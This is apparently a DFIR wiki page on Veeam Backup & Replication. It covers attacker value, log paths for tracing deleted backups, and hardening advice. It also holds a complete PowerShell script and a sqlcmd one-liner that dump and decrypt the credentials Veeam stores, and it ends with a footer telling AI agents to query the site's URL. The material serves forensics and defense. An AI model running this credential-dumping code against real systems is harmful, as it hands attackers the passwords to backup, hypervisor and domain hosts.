# Veeam

### What Is?

Veeam is a backup tool the allows the backing up and storage of data in online and offline backups.

### Threat Actor Value:

* Stores credentials of hosts that it uses to authenticate to and backup.
  * Could potentially allow a TA to steal ESXi credentials from a Veeam host.
* Could store images of DCs, allowing a TA to mount and extract NTDS.dit.
  * These images can be encrypted and require a password to decrypt and mount.
* Shows locations of offline backups and possibly ESXi hosts.
  * Can be used to discover these important hosts.
* Allows a TA to delete backups to hinder recovery process.

### File Location:

* `C:\ProgramData\Veeam\Backup\Svc.VeeamCatalog.log` will have "\[CRemoveBackupCmd]" line with clear BackupRef following. Using that you can get exact timestamp when Delete From Disk was initiated for backup you are missing.
* `C:\ProgramData\Veeam\Backup\Satellites\` you can find who exactly was logged on to your VBR server at said timestamp
* Finally, there is a log at user console machine(or VBR server if logged on locally) `C:\Users\UserName\AppData\Local\Veeam\Console` that tracks every single click user does, including "\[Backup] Delete" with clear ID of deleted backup too.

### Parse Data:

### Considerations:

* By default, grants local administrators on host administrative privileges to Veeam.
* By default, Veeam wants to allow SYSTEM to access mssql or postgress.

### Analysis Tips:

## **Attacking:**

### **Credential Dumping:**

{% embed url="<https://github.com/sadshade/veeam-creds/tree/main>" %}

{% embed url="<https://forums.veeam.com/powershell-f26/unencrypt-password-t93227.html>" %}

```powershell
$DBProduct = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations").SqlActiveConfiguration

# Add EncryptionSalt value from registry HKLM\SOFTWARE\Veeam\Veeam Backup and Replication\Data
$saltbase = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\Data").EncryptionSalt


if ($DBProduct -eq "Mssql")
{
    #Get SQL configuration
    $SQLConfiguration = Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\MsSql"
    $SQLServer        = $SQLConfiguration.SqlServerName
    $SQLInstance      = $SQLConfiguration.SqlInstanceName
    $SQLDB            = $SQLConfiguration.SqlDatabaseName
    $SQLConnection    = $SQLServer + "\" + $SQLInstance
    $sqlquery="SELECT user_name,password from dbo.Credentials"

    $Connection                  = New-Object System.Data.SQLClient.SQLConnection
    $Connection.ConnectionString = "server='$SQLConnection';database='$SQLDB';trusted_connection=false; integrated security='true'"
    $Connection.Open()
    $command                     = $Connection.CreateCommand()
    $command.CommandText         = $sqlquery
    $Datatable                   = New-Object "System.Data.Datatable"
    $result                      = $command.ExecuteReader()
    $Datatable.Load($result)
    $Result=$Datatable   


}

else
{
    #If postgreSQL
    
    #Get PostgreSQL configuration

    $PostgreSQLConfiguration = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\DatabaseConfigurations\PostgreSql")
    $PostgreUser             = $PostgreSQLConfiguration.SQLUsername
    $PostgreSecPassword      = (Get-Credential -Message "Enter password for user $PostgreUser" -UserName $PostgreUser)
    $PostgrePassword         = $PostgreSecPassword.GetNetworkCredential().Password
    $PostgrePort             = $PostgreSQLConfiguration.SqlHostPort
    $PostgreDatabase         = $PostgreSQLConfiguration.SqlDatabaseName
    $PostgreQuery            = "SELECT user_name,password,description,change_time_utc FROM credentials"
    $dburl                   = "postgresql://$($PostgreUser):$PostgrePassword@localhost:$PostgrePort/$PostgreDatabase"
    $Result                  = $PostgreQuery | & "C:\Program Files\PostgreSQL\15\bin\psql" --csv $dburl | ConvertFrom-Csv

}

#Decrypt password
Foreach ($account in $result)
{
    $Name = $account.user_name
    $Password = "<N/A>"
    if ($account.password -like "AQAA*")
    {
        $context = $account.password
        Add-Type -AssemblyName 'system.security'
        $data = [Convert]::FromBase64String($context)
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
        $Password = [System.Text.Encoding]::UTF8.Getstring($raw)

    }
    if ($account.password -like "VmVlY*")
    {    
        # Add encrypted value from the configuration database with single quotes. ('value' not '"value"')
        $context = $account.password


        # Make no changes below this line
        Add-Type -AssemblyName System.Security 
        $salt = [System.Convert]::FromBase64String($saltbase)
        $data = [System.Convert]::FromBase64String($context)
        $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($data.Length * 2)
        foreach ($byte in $data) {$hex.AppendFormat("{0:x2}", $byte) > $null}
        $hex = $hex.ToString().Substring(74,$hex.Length-74)
        $data = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
        for ($i = 0; $i -lt $hex.Length; $i += 2) {$data[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)}
        $securedPassword = [System.Convert]::ToBase64String($data)
        $data = [System.Convert]::FromBase64String($securedPassword)
        $local = [System.Security.Cryptography.DataProtectionScope]::LocalMachine
        $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $salt, $local) 
        $Password = [System.Text.Encoding]::UTF8.Getstring($raw)
    }

    [PSCustomObject]@{
        Name     = $Name
        Password = $Password
    }
}


```

### Script Output:

<figure><img src="/files/lpbeM6kvIDAZSJoqTa1T" alt=""><figcaption></figcaption></figure>

{% embed url="<https://cybersync.org/blogs-en/extracting_credential_from_veeam_backup>" %}

{% embed url="<https://www.whiteoaksecurity.com/blog/2020-4-14-from-veeam-to-domain-administrator/>" %}

### **Sqlcmd:**

If the database is a MSSQL database, credentials can be dumped with SQLCmd.

```powershell
"C:\Program Files\Microsoft SQL Server\Client SDK\ODBC\130\Tools\Binn\sqlcmd.exe"  -S localhost,51341 -E -y0 -Q "SELECT TOP (1000) [id],[user_name],[password],[usn],[description],[visible],[change_time_utc]FROM [VeeamBackup].[dbo].[Credentials];"

SQL Query:
SELECT TOP (1000) [id]
,[user_name]
,[password]
,[usn]
,[description]
,[visible]
,[change_time_utc]
FROM [VeeamBackup].[dbo].[Credentials]
```

{% embed url="<https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump/>" %}

### **Defending:**

* Enable MFA authentication for Veeam.
* Do not domain join the Veeam server.
  * This allows a lot of entry points into it.
* Segregate Veeam to a maintenance network.
* Encrypt backups to prevent access to sensitive data without proper authentication.
* Save backups in offline storage to prevent access and deletion.
* Offline storages should pull and not push when it comes to downloading data.
  * This method only allows the offline storage to access the backup hosts and not the other way around.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://nk0.gitbook.io/dfir/windows/forensics/3rd-party-apps/misc/veeam.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
